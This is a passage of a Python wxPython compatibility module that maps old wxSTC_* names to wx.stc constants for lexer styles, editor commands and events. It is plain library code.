= wx.stc.STC_V_COMMENT\nwxSTC_V_COMMENTLINE = wx.stc.STC_V_COMMENTLINE\nwxSTC_V_COMMENTLINEBANG = wx.stc.STC_V_COMMENTLINEBANG\nwxSTC_V_NUMBER = wx.stc.STC_V_NUMBER\nwxSTC_V_WORD = wx.stc.STC_V_WORD\nwxSTC_V_STRING = wx.stc.STC_V_STRING\nwxSTC_V_WORD2 = wx.stc.STC_V_WORD2\nwxSTC_V_WORD3 = wx.stc.STC_V_WORD3\nwxSTC_V_PREPROCESSOR = wx.stc.STC_V_PREPROCESSOR\nwxSTC_V_OPERATOR = wx.stc.STC_V_OPERATOR\nwxSTC_V_IDENTIFIER = wx.stc.STC_V_IDENTIFIER\nwxSTC_V_STRINGEOL = wx.stc.STC_V_STRINGEOL\nwxSTC_V_USER = wx.stc.STC_V_USER\nwxSTC_KIX_DEFAULT = wx.stc.STC_KIX_DEFAULT\nwxSTC_KIX_COMMENT = wx.stc.STC_KIX_COMMENT\nwxSTC_KIX_STRING1 = wx.stc.STC_KIX_STRING1\nwxSTC_KIX_STRING2 = wx.stc.STC_KIX_STRING2\nwxSTC_KIX_NUMBER = wx.stc.STC_KIX_NUMBER\nwxSTC_KIX_VAR = wx.stc.STC_KIX_VAR\nwxSTC_KIX_MACRO = wx.stc.STC_KIX_MACRO\nwxSTC_KIX_KEYWORD = wx.stc.STC_KIX_KEYWORD\nwxSTC_KIX_FUNCTIONS = wx.stc.STC_KIX_FUNCTIONS\nwxSTC_KIX_OPERATOR = wx.stc.STC_KIX_OPERATOR\nwxSTC_KIX_IDENTIFIER = wx.stc.STC_KIX_IDENTIFIER\nwxSTC_GC_DEFAULT = wx.stc.STC_GC_DEFAULT\nwxSTC_GC_COMMENTLINE = wx.stc.STC_GC_COMMENTLINE\nwxSTC_GC_COMMENTBLOCK = wx.stc.STC_GC_COMMENTBLOCK\nwxSTC_GC_GLOBAL = wx.stc.STC_GC_GLOBAL\nwxSTC_GC_EVENT = wx.stc.STC_GC_EVENT\nwxSTC_GC_ATTRIBUTE = wx.stc.STC_GC_ATTRIBUTE\nwxSTC_GC_CONTROL = wx.stc.STC_GC_CONTROL\nwxSTC_GC_COMMAND = wx.stc.STC_GC_COMMAND\nwxSTC_GC_STRING = wx.stc.STC_GC_STRING\nwxSTC_GC_OPERATOR = wx.stc.STC_GC_OPERATOR\nwxSTC_SN_DEFAULT = wx.stc.STC_SN_DEFAULT\nwxSTC_SN_CODE = wx.stc.STC_SN_CODE\nwxSTC_SN_COMMENTLINE = wx.stc.STC_SN_COMMENTLINE\nwxSTC_SN_COMMENTLINEBANG = wx.stc.STC_SN_COMMENTLINEBANG\nwxSTC_SN_NUMBER = wx.stc.STC_SN_NUMBER\nwxSTC_SN_WORD = wx.stc.STC_SN_WORD\nwxSTC_SN_STRING = wx.stc.STC_SN_STRING\nwxSTC_SN_WORD2 = wx.stc.STC_SN_WORD2\nwxSTC_SN_WORD3 = wx.stc.STC_SN_WORD3\nwxSTC_SN_PREPROCESSOR = wx.stc.STC_SN_PREPROCESSOR\nwxSTC_SN_OPERATOR = wx.stc.STC_SN_OPERATOR\nwxSTC_SN_IDENTIFIER = wx.stc.STC_SN_IDENTIFIER\nwxSTC_SN_STRINGEOL = wx.stc.STC_SN_STRINGEOL\nwxSTC_SN_REGEXTAG = wx.stc.STC_SN_REGEXTAG\nwxSTC_SN_SIGNAL = wx.stc.STC_SN_SIGNAL\nwxSTC_SN_USER = wx.stc.STC_SN_USER\nwxSTC_AU3_DEFAULT = wx.stc.STC_AU3_DEFAULT\nwxSTC_AU3_COMMENT = wx.stc.STC_AU3_COMMENT\nwxSTC_AU3_COMMENTBLOCK = wx.stc.STC_AU3_COMMENTBLOCK\nwxSTC_AU3_NUMBER = wx.stc.STC_AU3_NUMBER\nwxSTC_AU3_FUNCTION = wx.stc.STC_AU3_FUNCTION\nwxSTC_AU3_KEYWORD = wx.stc.STC_AU3_KEYWORD\nwxSTC_AU3_MACRO = wx.stc.STC_AU3_MACRO\nwxSTC_AU3_STRING = wx.stc.STC_AU3_STRING\nwxSTC_AU3_OPERATOR = wx.stc.STC_AU3_OPERATOR\nwxSTC_AU3_VARIABLE = wx.stc.STC_AU3_VARIABLE\nwxSTC_AU3_SENT = wx.stc.STC_AU3_SENT\nwxSTC_AU3_PREPROCESSOR = wx.stc.STC_AU3_PREPROCESSOR\nwxSTC_AU3_SPECIAL = wx.stc.STC_AU3_SPECIAL\nwxSTC_AU3_EXPAND = wx.stc.STC_AU3_EXPAND\nwxSTC_AU3_COMOBJ = wx.stc.STC_AU3_COMOBJ\nwxSTC_APDL_DEFAULT = wx.stc.STC_APDL_DEFAULT\nwxSTC_APDL_COMMENT = wx.stc.STC_APDL_COMMENT\nwxSTC_APDL_COMMENTBLOCK = wx.stc.STC_APDL_COMMENTBLOCK\nwxSTC_APDL_NUMBER = wx.stc.STC_APDL_NUMBER\nwxSTC_APDL_STRING = wx.stc.STC_APDL_STRING\nwxSTC_APDL_OPERATOR = wx.stc.STC_APDL_OPERATOR\nwxSTC_APDL_WORD = wx.stc.STC_APDL_WORD\nwxSTC_APDL_PROCESSOR = wx.stc.STC_APDL_PROCESSOR\nwxSTC_APDL_COMMAND = wx.stc.STC_APDL_COMMAND\nwxSTC_APDL_SLASHCOMMAND = wx.stc.STC_APDL_SLASHCOMMAND\nwxSTC_APDL_STARCOMMAND = wx.stc.STC_APDL_STARCOMMAND\nwxSTC_APDL_ARGUMENT = wx.stc.STC_APDL_ARGUMENT\nwxSTC_APDL_FUNCTION = wx.stc.STC_APDL_FUNCTION\nwxSTC_SH_DEFAULT = wx.stc.STC_SH_DEFAULT\nwxSTC_SH_ERROR = wx.stc.STC_SH_ERROR\nwxSTC_SH_COMMENTLINE = wx.stc.STC_SH_COMMENTLINE\nwxSTC_SH_NUMBER = wx.stc.STC_SH_NUMBER\nwxSTC_SH_WORD = wx.stc.STC_SH_WORD\nwxSTC_SH_STRING = wx.stc.STC_SH_STRING\nwxSTC_SH_CHARACTER = wx.stc.STC_SH_CHARACTER\nwxSTC_SH_OPERATOR = wx.stc.STC_SH_OPERATOR\nwxSTC_SH_IDENTIFIER = wx.stc.STC_SH_IDENTIFIER\nwxSTC_SH_SCALAR = wx.stc.STC_SH_SCALAR\nwxSTC_SH_PARAM = wx.stc.STC_SH_PARAM\nwxSTC_SH_BACKTICKS = wx.stc.STC_SH_BACKTICKS\nwxSTC_SH_HERE_DELIM = wx.stc.STC_SH_HERE_DELIM\nwxSTC_SH_HERE_Q = wx.stc.STC_SH_HERE_Q\nwxSTC_ASN1_DEFAULT = wx.stc.STC_ASN1_DEFAULT\nwxSTC_ASN1_COMMENT = wx.stc.STC_ASN1_COMMENT\nwxSTC_ASN1_IDENTIFIER = wx.stc.STC_ASN1_IDENTIFIER\nwxSTC_ASN1_STRING = wx.stc.STC_ASN1_STRING\nwxSTC_ASN1_OID = wx.stc.STC_ASN1_OID\nwxSTC_ASN1_SCALAR = wx.stc.STC_ASN1_SCALAR\nwxSTC_ASN1_KEYWORD = wx.stc.STC_ASN1_KEYWORD\nwxSTC_ASN1_ATTRIBUTE = wx.stc.STC_ASN1_ATTRIBUTE\nwxSTC_ASN1_DESCRIPTOR = wx.stc.STC_ASN1_DESCRIPTOR\nwxSTC_ASN1_TYPE = wx.stc.STC_ASN1_TYPE\nwxSTC_ASN1_OPERATOR = wx.stc.STC_ASN1_OPERATOR\nwxSTC_VHDL_DEFAULT = wx.stc.STC_VHDL_DEFAULT\nwxSTC_VHDL_COMMENT = wx.stc.STC_VHDL_COMMENT\nwxSTC_VHDL_COMMENTLINEBANG = wx.stc.STC_VHDL_COMMENTLINEBANG\nwxSTC_VHDL_NUMBER = wx.stc.STC_VHDL_NUMBER\nwxSTC_VHDL_STRING = wx.stc.STC_VHDL_STRING\nwxSTC_VHDL_OPERATOR = wx.stc.STC_VHDL_OPERATOR\nwxSTC_VHDL_IDENTIFIER = wx.stc.STC_VHDL_IDENTIFIER\nwxSTC_VHDL_STRINGEOL = wx.stc.STC_VHDL_STRINGEOL\nwxSTC_VHDL_KEYWORD = wx.stc.STC_VHDL_KEYWORD\nwxSTC_VHDL_STDOPERATOR = wx.stc.STC_VHDL_STDOPERATOR\nwxSTC_VHDL_ATTRIBUTE = wx.stc.STC_VHDL_ATTRIBUTE\nwxSTC_VHDL_STDFUNCTION = wx.stc.STC_VHDL_STDFUNCTION\nwxSTC_VHDL_STDPACKAGE = wx.stc.STC_VHDL_STDPACKAGE\nwxSTC_VHDL_STDTYPE = wx.stc.STC_VHDL_STDTYPE\nwxSTC_VHDL_USERWORD = wx.stc.STC_VHDL_USERWORD\nwxSTC_CAML_DEFAULT = wx.stc.STC_CAML_DEFAULT\nwxSTC_CAML_IDENTIFIER = wx.stc.STC_CAML_IDENTIFIER\nwxSTC_CAML_TAGNAME = wx.stc.STC_CAML_TAGNAME\nwxSTC_CAML_KEYWORD = wx.stc.STC_CAML_KEYWORD\nwxSTC_CAML_KEYWORD2 = wx.stc.STC_CAML_KEYWORD2\nwxSTC_CAML_KEYWORD3 = wx.stc.STC_CAML_KEYWORD3\nwxSTC_CAML_LINENUM = wx.stc.STC_CAML_LINENUM\nwxSTC_CAML_OPERATOR = wx.stc.STC_CAML_OPERATOR\nwxSTC_CAML_NUMBER = wx.stc.STC_CAML_NUMBER\nwxSTC_CAML_CHAR = wx.stc.STC_CAML_CHAR\nwxSTC_CAML_STRING = wx.stc.STC_CAML_STRING\nwxSTC_CAML_COMMENT = wx.stc.STC_CAML_COMMENT\nwxSTC_CAML_COMMENT1 = wx.stc.STC_CAML_COMMENT1\nwxSTC_CAML_COMMENT2 = wx.stc.STC_CAML_COMMENT2\nwxSTC_CAML_COMMENT3 = wx.stc.STC_CAML_COMMENT3\nwxSTC_HA_DEFAULT = wx.stc.STC_HA_DEFAULT\nwxSTC_HA_IDENTIFIER = wx.stc.STC_HA_IDENTIFIER\nwxSTC_HA_KEYWORD = wx.stc.STC_HA_KEYWORD\nwxSTC_HA_NUMBER = wx.stc.STC_HA_NUMBER\nwxSTC_HA_STRING = wx.stc.STC_HA_STRING\nwxSTC_HA_CHARACTER = wx.stc.STC_HA_CHARACTER\nwxSTC_HA_CLASS = wx.stc.STC_HA_CLASS\nwxSTC_HA_MODULE = wx.stc.STC_HA_MODULE\nwxSTC_HA_CAPITAL = wx.stc.STC_HA_CAPITAL\nwxSTC_HA_DATA = wx.stc.STC_HA_DATA\nwxSTC_HA_IMPORT = wx.stc.STC_HA_IMPORT\nwxSTC_HA_OPERATOR = wx.stc.STC_HA_OPERATOR\nwxSTC_HA_INSTANCE = wx.stc.STC_HA_INSTANCE\nwxSTC_HA_COMMENTLINE = wx.stc.STC_HA_COMMENTLINE\nwxSTC_HA_COMMENTBLOCK = wx.stc.STC_HA_COMMENTBLOCK\nwxSTC_HA_COMMENTBLOCK2 = wx.stc.STC_HA_COMMENTBLOCK2\nwxSTC_HA_COMMENTBLOCK3 = wx.stc.STC_HA_COMMENTBLOCK3\nwxSTC_T3_DEFAULT = wx.stc.STC_T3_DEFAULT\nwxSTC_T3_X_DEFAULT = wx.stc.STC_T3_X_DEFAULT\nwxSTC_T3_PREPROCESSOR = wx.stc.STC_T3_PREPROCESSOR\nwxSTC_T3_BLOCK_COMMENT = wx.stc.STC_T3_BLOCK_COMMENT\nwxSTC_T3_LINE_COMMENT = wx.stc.STC_T3_LINE_COMMENT\nwxSTC_T3_OPERATOR = wx.stc.STC_T3_OPERATOR\nwxSTC_T3_KEYWORD = wx.stc.STC_T3_KEYWORD\nwxSTC_T3_NUMBER = wx.stc.STC_T3_NUMBER\nwxSTC_T3_IDENTIFIER = wx.stc.STC_T3_IDENTIFIER\nwxSTC_T3_S_STRING = wx.stc.STC_T3_S_STRING\nwxSTC_T3_D_STRING = wx.stc.STC_T3_D_STRING\nwxSTC_T3_X_STRING = wx.stc.STC_T3_X_STRING\nwxSTC_T3_LIB_DIRECTIVE = wx.stc.STC_T3_LIB_DIRECTIVE\nwxSTC_T3_MSG_PARAM = wx.stc.STC_T3_MSG_PARAM\nwxSTC_T3_HTML_TAG = wx.stc.STC_T3_HTML_TAG\nwxSTC_T3_HTML_DEFAULT = wx.stc.STC_T3_HTML_DEFAULT\nwxSTC_T3_HTML_STRING = wx.stc.STC_T3_HTML_STRING\nwxSTC_T3_USER1 = wx.stc.STC_T3_USER1\nwxSTC_T3_USER2 = wx.stc.STC_T3_USER2\nwxSTC_T3_USER3 = wx.stc.STC_T3_USER3\nwxSTC_REBOL_DEFAULT = wx.stc.STC_REBOL_DEFAULT\nwxSTC_REBOL_COMMENTLINE = wx.stc.STC_REBOL_COMMENTLINE\nwxSTC_REBOL_COMMENTBLOCK = wx.stc.STC_REBOL_COMMENTBLOCK\nwxSTC_REBOL_PREFACE = wx.stc.STC_REBOL_PREFACE\nwxSTC_REBOL_OPERATOR = wx.stc.STC_REBOL_OPERATOR\nwxSTC_REBOL_CHARACTER = wx.stc.STC_REBOL_CHARACTER\nwxSTC_REBOL_QUOTEDSTRING = wx.stc.STC_REBOL_QUOTEDSTRING\nwxSTC_REBOL_BRACEDSTRING = wx.stc.STC_REBOL_BRACEDSTRING\nwxSTC_REBOL_NUMBER = wx.stc.STC_REBOL_NUMBER\nwxSTC_REBOL_PAIR = wx.stc.STC_REBOL_PAIR\nwxSTC_REBOL_TUPLE = wx.stc.STC_REBOL_TUPLE\nwxSTC_REBOL_BINARY = wx.stc.STC_REBOL_BINARY\nwxSTC_REBOL_MONEY = wx.stc.STC_REBOL_MONEY\nwxSTC_REBOL_ISSUE = wx.stc.STC_REBOL_ISSUE\nwxSTC_REBOL_TAG = wx.stc.STC_REBOL_TAG\nwxSTC_REBOL_FILE = wx.stc.STC_REBOL_FILE\nwxSTC_REBOL_EMAIL = wx.stc.STC_REBOL_EMAIL\nwxSTC_REBOL_URL = wx.stc.STC_REBOL_URL\nwxSTC_REBOL_DATE = wx.stc.STC_REBOL_DATE\nwxSTC_REBOL_TIME = wx.stc.STC_REBOL_TIME\nwxSTC_REBOL_IDENTIFIER = wx.stc.STC_REBOL_IDENTIFIER\nwxSTC_REBOL_WORD = wx.stc.STC_REBOL_WORD\nwxSTC_REBOL_WORD2 = wx.stc.STC_REBOL_WORD2\nwxSTC_REBOL_WORD3 = wx.stc.STC_REBOL_WORD3\nwxSTC_REBOL_WORD4 = wx.stc.STC_REBOL_WORD4\nwxSTC_REBOL_WORD5 = wx.stc.STC_REBOL_WORD5\nwxSTC_REBOL_WORD6 = wx.stc.STC_REBOL_WORD6\nwxSTC_REBOL_WORD7 = wx.stc.STC_REBOL_WORD7\nwxSTC_REBOL_WORD8 = wx.stc.STC_REBOL_WORD8\nwxSTC_SQL_DEFAULT = wx.stc.STC_SQL_DEFAULT\nwxSTC_SQL_COMMENT = wx.stc.STC_SQL_COMMENT\nwxSTC_SQL_COMMENTLINE = wx.stc.STC_SQL_COMMENTLINE\nwxSTC_SQL_COMMENTDOC = wx.stc.STC_SQL_COMMENTDOC\nwxSTC_SQL_NUMBER = wx.stc.STC_SQL_NUMBER\nwxSTC_SQL_WORD = wx.stc.STC_SQL_WORD\nwxSTC_SQL_STRING = wx.stc.STC_SQL_STRING\nwxSTC_SQL_CHARACTER = wx.stc.STC_SQL_CHARACTER\nwxSTC_SQL_SQLPLUS = wx.stc.STC_SQL_SQLPLUS\nwxSTC_SQL_SQLPLUS_PROMPT = wx.stc.STC_SQL_SQLPLUS_PROMPT\nwxSTC_SQL_OPERATOR = wx.stc.STC_SQL_OPERATOR\nwxSTC_SQL_IDENTIFIER = wx.stc.STC_SQL_IDENTIFIER\nwxSTC_SQL_SQLPLUS_COMMENT = wx.stc.STC_SQL_SQLPLUS_COMMENT\nwxSTC_SQL_COMMENTLINEDOC = wx.stc.STC_SQL_COMMENTLINEDOC\nwxSTC_SQL_WORD2 = wx.stc.STC_SQL_WORD2\nwxSTC_SQL_COMMENTDOCKEYWORD = wx.stc.STC_SQL_COMMENTDOCKEYWORD\nwxSTC_SQL_COMMENTDOCKEYWORDERROR = wx.stc.STC_SQL_COMMENTDOCKEYWORDERROR\nwxSTC_SQL_USER1 = wx.stc.STC_SQL_USER1\nwxSTC_SQL_USER2 = wx.stc.STC_SQL_USER2\nwxSTC_SQL_USER3 = wx.stc.STC_SQL_USER3\nwxSTC_SQL_USER4 = wx.stc.STC_SQL_USER4\nwxSTC_SQL_QUOTEDIDENTIFIER = wx.stc.STC_SQL_QUOTEDIDENTIFIER\nwxSTC_ST_DEFAULT = wx.stc.STC_ST_DEFAULT\nwxSTC_ST_STRING = wx.stc.STC_ST_STRING\nwxSTC_ST_NUMBER = wx.stc.STC_ST_NUMBER\nwxSTC_ST_COMMENT = wx.stc.STC_ST_COMMENT\nwxSTC_ST_SYMBOL = wx.stc.STC_ST_SYMBOL\nwxSTC_ST_BINARY = wx.stc.STC_ST_BINARY\nwxSTC_ST_BOOL = wx.stc.STC_ST_BOOL\nwxSTC_ST_SELF = wx.stc.STC_ST_SELF\nwxSTC_ST_SUPER = wx.stc.STC_ST_SUPER\nwxSTC_ST_NIL = wx.stc.STC_ST_NIL\nwxSTC_ST_GLOBAL = wx.stc.STC_ST_GLOBAL\nwxSTC_ST_RETURN = wx.stc.STC_ST_RETURN\nwxSTC_ST_SPECIAL = wx.stc.STC_ST_SPECIAL\nwxSTC_ST_KWSEND = wx.stc.STC_ST_KWSEND\nwxSTC_ST_ASSIGN = wx.stc.STC_ST_ASSIGN\nwxSTC_ST_CHARACTER = wx.stc.STC_ST_CHARACTER\nwxSTC_ST_SPEC_SEL = wx.stc.STC_ST_SPEC_SEL\nwxSTC_FS_DEFAULT = wx.stc.STC_FS_DEFAULT\nwxSTC_FS_COMMENT = wx.stc.STC_FS_COMMENT\nwxSTC_FS_COMMENTLINE = wx.stc.STC_FS_COMMENTLINE\nwxSTC_FS_COMMENTDOC = wx.stc.STC_FS_COMMENTDOC\nwxSTC_FS_COMMENTLINEDOC = wx.stc.STC_FS_COMMENTLINEDOC\nwxSTC_FS_COMMENTDOCKEYWORD = wx.stc.STC_FS_COMMENTDOCKEYWORD\nwxSTC_FS_COMMENTDOCKEYWORDERROR = wx.stc.STC_FS_COMMENTDOCKEYWORDERROR\nwxSTC_FS_KEYWORD = wx.stc.STC_FS_KEYWORD\nwxSTC_FS_KEYWORD2 = wx.stc.STC_FS_KEYWORD2\nwxSTC_FS_KEYWORD3 = wx.stc.STC_FS_KEYWORD3\nwxSTC_FS_KEYWORD4 = wx.stc.STC_FS_KEYWORD4\nwxSTC_FS_NUMBER = wx.stc.STC_FS_NUMBER\nwxSTC_FS_STRING = wx.stc.STC_FS_STRING\nwxSTC_FS_PREPROCESSOR = wx.stc.STC_FS_PREPROCESSOR\nwxSTC_FS_OPERATOR = wx.stc.STC_FS_OPERATOR\nwxSTC_FS_IDENTIFIER = wx.stc.STC_FS_IDENTIFIER\nwxSTC_FS_DATE = wx.stc.STC_FS_DATE\nwxSTC_FS_STRINGEOL = wx.stc.STC_FS_STRINGEOL\nwxSTC_FS_CONSTANT = wx.stc.STC_FS_CONSTANT\nwxSTC_FS_ASM = wx.stc.STC_FS_ASM\nwxSTC_FS_LABEL = wx.stc.STC_FS_LABEL\nwxSTC_FS_ERROR = wx.stc.STC_FS_ERROR\nwxSTC_FS_HEXNUMBER = wx.stc.STC_FS_HEXNUMBER\nwxSTC_FS_BINNUMBER = wx.stc.STC_FS_BINNUMBER\nwxSTC_CSOUND_DEFAULT = wx.stc.STC_CSOUND_DEFAULT\nwxSTC_CSOUND_COMMENT = wx.stc.STC_CSOUND_COMMENT\nwxSTC_CSOUND_NUMBER = wx.stc.STC_CSOUND_NUMBER\nwxSTC_CSOUND_OPERATOR = wx.stc.STC_CSOUND_OPERATOR\nwxSTC_CSOUND_INSTR = wx.stc.STC_CSOUND_INSTR\nwxSTC_CSOUND_IDENTIFIER = wx.stc.STC_CSOUND_IDENTIFIER\nwxSTC_CSOUND_OPCODE = wx.stc.STC_CSOUND_OPCODE\nwxSTC_CSOUND_HEADERSTMT = wx.stc.STC_CSOUND_HEADERSTMT\nwxSTC_CSOUND_USERKEYWORD = wx.stc.STC_CSOUND_USERKEYWORD\nwxSTC_CSOUND_COMMENTBLOCK = wx.stc.STC_CSOUND_COMMENTBLOCK\nwxSTC_CSOUND_PARAM = wx.stc.STC_CSOUND_PARAM\nwxSTC_CSOUND_ARATE_VAR = wx.stc.STC_CSOUND_ARATE_VAR\nwxSTC_CSOUND_KRATE_VAR = wx.stc.STC_CSOUND_KRATE_VAR\nwxSTC_CSOUND_IRATE_VAR = wx.stc.STC_CSOUND_IRATE_VAR\nwxSTC_CSOUND_GLOBAL_VAR = wx.stc.STC_CSOUND_GLOBAL_VAR\nwxSTC_CSOUND_STRINGEOL = wx.stc.STC_CSOUND_STRINGEOL\nwxSTC_CMD_REDO = wx.stc.STC_CMD_REDO\nwxSTC_CMD_SELECTALL = wx.stc.STC_CMD_SELECTALL\nwxSTC_CMD_UNDO = wx.stc.STC_CMD_UNDO\nwxSTC_CMD_CUT = wx.stc.STC_CMD_CUT\nwxSTC_CMD_COPY = wx.stc.STC_CMD_COPY\nwxSTC_CMD_PASTE = wx.stc.STC_CMD_PASTE\nwxSTC_CMD_CLEAR = wx.stc.STC_CMD_CLEAR\nwxSTC_CMD_LINEDOWN = wx.stc.STC_CMD_LINEDOWN\nwxSTC_CMD_LINEDOWNEXTEND = wx.stc.STC_CMD_LINEDOWNEXTEND\nwxSTC_CMD_LINEUP = wx.stc.STC_CMD_LINEUP\nwxSTC_CMD_LINEUPEXTEND = wx.stc.STC_CMD_LINEUPEXTEND\nwxSTC_CMD_CHARLEFT = wx.stc.STC_CMD_CHARLEFT\nwxSTC_CMD_CHARLEFTEXTEND = wx.stc.STC_CMD_CHARLEFTEXTEND\nwxSTC_CMD_CHARRIGHT = wx.stc.STC_CMD_CHARRIGHT\nwxSTC_CMD_CHARRIGHTEXTEND = wx.stc.STC_CMD_CHARRIGHTEXTEND\nwxSTC_CMD_WORDLEFT = wx.stc.STC_CMD_WORDLEFT\nwxSTC_CMD_WORDLEFTEXTEND = wx.stc.STC_CMD_WORDLEFTEXTEND\nwxSTC_CMD_WORDRIGHT = wx.stc.STC_CMD_WORDRIGHT\nwxSTC_CMD_WORDRIGHTEXTEND = wx.stc.STC_CMD_WORDRIGHTEXTEND\nwxSTC_CMD_HOME = wx.stc.STC_CMD_HOME\nwxSTC_CMD_HOMEEXTEND = wx.stc.STC_CMD_HOMEEXTEND\nwxSTC_CMD_LINEEND = wx.stc.STC_CMD_LINEEND\nwxSTC_CMD_LINEENDEXTEND = wx.stc.STC_CMD_LINEENDEXTEND\nwxSTC_CMD_DOCUMENTSTART = wx.stc.STC_CMD_DOCUMENTSTART\nwxSTC_CMD_DOCUMENTSTARTEXTEND = wx.stc.STC_CMD_DOCUMENTSTARTEXTEND\nwxSTC_CMD_DOCUMENTEND = wx.stc.STC_CMD_DOCUMENTEND\nwxSTC_CMD_DOCUMENTENDEXTEND = wx.stc.STC_CMD_DOCUMENTENDEXTEND\nwxSTC_CMD_PAGEUP = wx.stc.STC_CMD_PAGEUP\nwxSTC_CMD_PAGEUPEXTEND = wx.stc.STC_CMD_PAGEUPEXTEND\nwxSTC_CMD_PAGEDOWN = wx.stc.STC_CMD_PAGEDOWN\nwxSTC_CMD_PAGEDOWNEXTEND = wx.stc.STC_CMD_PAGEDOWNEXTEND\nwxSTC_CMD_EDITTOGGLEOVERTYPE = wx.stc.STC_CMD_EDITTOGGLEOVERTYPE\nwxSTC_CMD_CANCEL = wx.stc.STC_CMD_CANCEL\nwxSTC_CMD_DELETEBACK = wx.stc.STC_CMD_DELETEBACK\nwxSTC_CMD_TAB = wx.stc.STC_CMD_TAB\nwxSTC_CMD_BACKTAB = wx.stc.STC_CMD_BACKTAB\nwxSTC_CMD_NEWLINE = wx.stc.STC_CMD_NEWLINE\nwxSTC_CMD_FORMFEED = wx.stc.STC_CMD_FORMFEED\nwxSTC_CMD_VCHOME = wx.stc.STC_CMD_VCHOME\nwxSTC_CMD_VCHOMEEXTEND = wx.stc.STC_CMD_VCHOMEEXTEND\nwxSTC_CMD_ZOOMIN = wx.stc.STC_CMD_ZOOMIN\nwxSTC_CMD_ZOOMOUT = wx.stc.STC_CMD_ZOOMOUT\nwxSTC_CMD_DELWORDLEFT = wx.stc.STC_CMD_DELWORDLEFT\nwxSTC_CMD_DELWORDRIGHT = wx.stc.STC_CMD_DELWORDRIGHT\nwxSTC_CMD_LINECUT = wx.stc.STC_CMD_LINECUT\nwxSTC_CMD_LINEDELETE = wx.stc.STC_CMD_LINEDELETE\nwxSTC_CMD_LINETRANSPOSE = wx.stc.STC_CMD_LINETRANSPOSE\nwxSTC_CMD_LINEDUPLICATE = wx.stc.STC_CMD_LINEDUPLICATE\nwxSTC_CMD_LOWERCASE = wx.stc.STC_CMD_LOWERCASE\nwxSTC_CMD_UPPERCASE = wx.stc.STC_CMD_UPPERCASE\nwxSTC_CMD_LINESCROLLDOWN = wx.stc.STC_CMD_LINESCROLLDOWN\nwxSTC_CMD_LINESCROLLUP = wx.stc.STC_CMD_LINESCROLLUP\nwxSTC_CMD_DELETEBACKNOTLINE = wx.stc.STC_CMD_DELETEBACKNOTLINE\nwxSTC_CMD_HOMEDISPLAY = wx.stc.STC_CMD_HOMEDISPLAY\nwxSTC_CMD_HOMEDISPLAYEXTEND = wx.stc.STC_CMD_HOMEDISPLAYEXTEND\nwxSTC_CMD_LINEENDDISPLAY = wx.stc.STC_CMD_LINEENDDISPLAY\nwxSTC_CMD_LINEENDDISPLAYEXTEND = wx.stc.STC_CMD_LINEENDDISPLAYEXTEND\nwxSTC_CMD_HOMEWRAP = wx.stc.STC_CMD_HOMEWRAP\nwxSTC_CMD_HOMEWRAPEXTEND = wx.stc.STC_CMD_HOMEWRAPEXTEND\nwxSTC_CMD_LINEENDWRAP = wx.stc.STC_CMD_LINEENDWRAP\nwxSTC_CMD_LINEENDWRAPEXTEND = wx.stc.STC_CMD_LINEENDWRAPEXTEND\nwxSTC_CMD_VCHOMEWRAP = wx.stc.STC_CMD_VCHOMEWRAP\nwxSTC_CMD_VCHOMEWRAPEXTEND = wx.stc.STC_CMD_VCHOMEWRAPEXTEND\nwxSTC_CMD_LINECOPY = wx.stc.STC_CMD_LINECOPY\nwxSTC_CMD_WORDPARTLEFT = wx.stc.STC_CMD_WORDPARTLEFT\nwxSTC_CMD_WORDPARTLEFTEXTEND = wx.stc.STC_CMD_WORDPARTLEFTEXTEND\nwxSTC_CMD_WORDPARTRIGHT = wx.stc.STC_CMD_WORDPARTRIGHT\nwxSTC_CMD_WORDPARTRIGHTEXTEND = wx.stc.STC_CMD_WORDPARTRIGHTEXTEND\nwxSTC_CMD_DELLINELEFT = wx.stc.STC_CMD_DELLINELEFT\nwxSTC_CMD_DELLINERIGHT = wx.stc.STC_CMD_DELLINERIGHT\nwxSTC_CMD_PARADOWN = wx.stc.STC_CMD_PARADOWN\nwxSTC_CMD_PARADOWNEXTEND = wx.stc.STC_CMD_PARADOWNEXTEND\nwxSTC_CMD_PARAUP = wx.stc.STC_CMD_PARAUP\nwxSTC_CMD_PARAUPEXTEND = wx.stc.STC_CMD_PARAUPEXTEND\nwxSTC_CMD_LINEDOWNRECTEXTEND = wx.stc.STC_CMD_LINEDOWNRECTEXTEND\nwxSTC_CMD_LINEUPRECTEXTEND = wx.stc.STC_CMD_LINEUPRECTEXTEND\nwxSTC_CMD_CHARLEFTRECTEXTEND = wx.stc.STC_CMD_CHARLEFTRECTEXTEND\nwxSTC_CMD_CHARRIGHTRECTEXTEND = wx.stc.STC_CMD_CHARRIGHTRECTEXTEND\nwxSTC_CMD_HOMERECTEXTEND = wx.stc.STC_CMD_HOMERECTEXTEND\nwxSTC_CMD_VCHOMERECTEXTEND = wx.stc.STC_CMD_VCHOMERECTEXTEND\nwxSTC_CMD_LINEENDRECTEXTEND = wx.stc.STC_CMD_LINEENDRECTEXTEND\nwxSTC_CMD_PAGEUPRECTEXTEND = wx.stc.STC_CMD_PAGEUPRECTEXTEND\nwxSTC_CMD_PAGEDOWNRECTEXTEND = wx.stc.STC_CMD_PAGEDOWNRECTEXTEND\nwxSTC_CMD_STUTTEREDPAGEUP = wx.stc.STC_CMD_STUTTEREDPAGEUP\nwxSTC_CMD_STUTTEREDPAGEUPEXTEND = wx.stc.STC_CMD_STUTTEREDPAGEUPEXTEND\nwxSTC_CMD_STUTTEREDPAGEDOWN = wx.stc.STC_CMD_STUTTEREDPAGEDOWN\nwxSTC_CMD_STUTTEREDPAGEDOWNEXTEND = wx.stc.STC_CMD_STUTTEREDPAGEDOWNEXTEND\nwxSTC_CMD_WORDLEFTEND = wx.stc.STC_CMD_WORDLEFTEND\nwxSTC_CMD_WORDLEFTENDEXTEND = wx.stc.STC_CMD_WORDLEFTENDEXTEND\nwxSTC_CMD_WORDRIGHTEND = wx.stc.STC_CMD_WORDRIGHTEND\nwxSTC_CMD_WORDRIGHTENDEXTEND = wx.stc.STC_CMD_WORDRIGHTENDEXTEND\nwxStyledTextCtrl = wx.stc.StyledTextCtrl\nwxPreStyledTextCtrl = wx.stc.PreStyledTextCtrl\nwxStyledTextEvent = wx.stc.StyledTextEvent\nwxEVT_STC_CHANGE = wx.stc.wxEVT_STC_CHANGE\nwxEVT_STC_STYLENEEDED = wx.stc.wxEVT_STC_STYLENEEDED\nwxEVT_STC_CHARADDED = wx.stc.wxEVT_STC_CHARADDED\nwxEVT_STC_SAVEPOINTREACHED = wx.stc.wxEVT_STC_SAVEPOINTREACHED\nwxEVT_STC_SAVEPOINTLEFT = 